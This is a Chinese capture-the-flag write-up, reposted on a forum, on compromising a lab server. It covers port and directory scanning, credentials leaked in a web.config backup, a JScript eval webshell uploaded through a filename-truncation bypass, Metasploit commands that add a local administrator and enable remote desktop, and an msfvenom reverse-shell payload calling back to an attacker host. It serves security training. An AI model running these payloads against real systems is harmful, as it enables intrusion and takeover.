搜索

[6850] 2020-08-03_记一次对CTF靶机的取key之路

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-08-03_记一次对CTF靶机的取key之路 记 一 次 对 C T F 靶 机 的 取 k e y 之 路 E 安 全   2 0 2 0 - 0 8 - 0 3 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 杨 李 李 N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 拿 到 一 台 靶 机 ， 要 求 是 找 到 服 务 器 的 k e y 值 ， 接 下 来 就 开 始 取 k e y 之 路 N o . 3 N o . 3 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 上 路 1 、 端 口 收 集 、 端 口 收 集 使 用 n m a p 扫 描 的 时 候 ， 直 接 n m a p   - A   1 9 2 . 1 6 8 . 1 9 9 . 2 4 9 发 现 只 能 扫 出 一 个 1 4 3 3 端 口 。 因 为 W i n d o w s 一 下 只 能 扫 出 1 - 1 0 0 0 0 端 口 ， 而 使 用 n m a p   - p 1 - 6 5 5 3 5   - A   1 9 2 . 1 6 8 . 1 9 9 . 2 4 9 也 不 行 ， 因 为 n m a p 如 果 扫 描 的 端 口 过 多 流 量 就 会 过 大 ， 可 能 会 漏 掉 一 些 端 口 所 以 ， 使 用 ： n m a p   - p   1 - 1 0 0 0 0   - A   1 9 2 . 1 6 8 . 1 9 9 . 2 4 9 n m a p   - p   1 0 0 0 1 - 2 0 0 0 0   - A   1 9 2 . 1 6 8 . 1 9 9 . 2 4 9 以 此 类 推 来 进 行 扫 描 端 口 。 一 共 扫 出 了 两 个 端 口 ： 1 4 3 3 、 2 7 6 8 9 1 4 3 3 对 应 的 服 务 是 m s   s q l ， 另 一 个 未 知 。 2 、 目 录 收 集 、 目 录 收 集 使 用 d i r b   h t t p : / / 1 9 2 . 1 6 8 . 1 9 9 . 2 4 9 对 目 录 进 行 了 扫 描 ： 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
使 用 御 剑 进 行 目 录 扫 描 ： 这 里 发 现 了 一 个 w e b . c o n f i g . b a k ， : ) 信 息 收 集 果 然 重 要 。 访 问 这 个 网 页 发 现 下 载 了 一 个 w e b . c o n f i g . b a k 文 件 ： 点 击 这 个 文 件 发 现 了 数 据 库 名 字 ， 用 户 和 用 户 密 码 ， 并 出 来 了 第 一 个 k e y 值 使 用 N a v i c a t 对 数 据 库 进 行 连 接 ：
可 以 查 看 到 用 户 和 密 码 。 3 、 登 陆 页 面 的 发 现 、 登 陆 页 面 的 发 现 在 前 面 找 到 了 端 口 2 7 6 8 9 ， 访 问 了 一 下 ， 发 现 权 限 不 够 访 问 r o b o t s . t x t : 访 问 h t t p : / / 1 9 2 . 1 6 8 . 1 9 9 . 2 4 9 : 2 7 6 8 9 / D e f a u l t . a s p x   是 个 文 件 上 传 下 载 系 统 登 陆 页 面
利 用 刚 才 数 据 库 发 现 的 账 号 密 码 登 录 成 功 。 4 、 文 件 上 传 、 文 件 上 传 这 里 我 写 的 一 句 话 是 < % @ P a g e   L a n g u a g e = " J s c r i p t " % > < % e v a l ( R e q u e s t . I t e m [ " c h o p p e r " ] , " u n s a f e " ) ; % > 保 存 为 s h e l l . j p g ， 上 传 这 里 要 用 到 的 是   ;   截 断 绕 过 然 后 在 后 台 发 现 上 传 的 文 件 中 查 看 到 上 传 的 文 件 名 是 由 随 机 的 时 间 和 自 己 上 传 的 文 件 名 结 合 而 成 的 。 还 有 文 件 上 传 的 提 示 ， 文 件 名 不 能 超 过 3 2 位 这 里 出 现 了 一 个 溢 出 漏 洞 ， 只 能 识 别 3 2 位 ， 我 们 可 以 让 他 超 过 3 2 位 ， 就 是 加 上 随 机 生 成 的 ， 比 如 自 动 生 成 1 3 位 ， 我 们 可 以 ~ ~ ( 1 3 位 ) ~ ~ ( 1 4 位 ) . a s p x . t x t 所 以 可 以 利 用 文 件 名 长 度 的 限 制 ， 用 b u r p 来 进 行 截 断 。
前 面 上 传 发 了 一 个 错 误 的 请 求 ， 直 接 爆 出 了 上 传 文 件 的 真 实 路 径 。 / u p f i l e / a f f i x / 菜 刀 连 接 ： 在 w e b . c o n f i g . b a k _ 2 0 1 7 - 1 中 发 现 了 m s s q l 中 的 s a 用 户 和 密 码 。 5 、 寻 找 、 寻 找 k e y 值 值 打 开 m s f 使 用
u s e   a u x i l i a r y / a d m i n / m s s q l / m s s q l _ e x e c 模 块 设 置 c m d 、 r h o s t s 、 u s e r n a m e 、 p a s s w o r d 可 以 修 改 c m d 中 的 命 令 可 以 通 过 设 置 c m d 中 的 命 令 来 新 建 一 个 用 户 ， 并 设 置 密 码 ， 把 此 用 户 加 入 到 a d m i n i s t r a t o r s 这 个 用 户 组 中 。 s e t   c m d   n e t   u s e r   l i u   / a d d （ 添 加 l i u 这 个 用 户 ） s e t   c m d   n e t   u s e r   l i u   1 2 3 （ 设 置 l i u 这 个 用 户 的 密 码 为 1 2 3 ） s e t   c m d   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   l i u   / a d d （ 把 l i u 这 个 用 户 添 加 到 a d m i n i s t r a t o r s 这 个 用 户 组 中 ） s e t   c m d   w m i c   R D T O G G L E   W H E R E   S e r v e r N a m e = ' % C O M P U T E R N A M E % '   c a l l   S e t A l l o w T S C o n n e c t i o n s   1 （ 开 启 3 3 8 9 端 口 ） 远 程 桌 面 连 接 后 找 到 k e y 值
第 二 种 方 法 是 使 用 m s f 生 成 木 马 进 行 监 听 然 后 拿 到 s h e l l 先 生 成 木 马 ： m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 9 9 . 2 1 3   l p o r t = 8 8 8 8   - f   e x e   - o   u u . e x e 然 后 菜 刀 上 传 ， 通 过 搜 索 k e y 文 件 ： s e a r c h   - f   * . t x t   - d   C : / 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 近 源 渗 透 测 试 之 K e y l o g g e r 实 战 针 对 某 款 摄 像 头 设 备 的 固 件 重 打 包 及 r o o t   s h e l l 获 取 过 程 美 国 能 源 部 试 图 1 0 年 完 成 “ 永 远 无 法 被 劫 持 ” 的 量 子 互 联 网 蓝 图 ！ 所 有 i P h o n e 设 备 都 可 能 被 解 锁 ！ 黑 客 发 布 新 款 越 狱 软 件 “ U n c 0 v e r ” 征 集   |   2 0 2 0 世 界 信 息 安 全 大 会 议 题 征 集 全 面 开 启 ！ ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容
喜 欢 记 得 打 赏 小 E 哦 ！ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理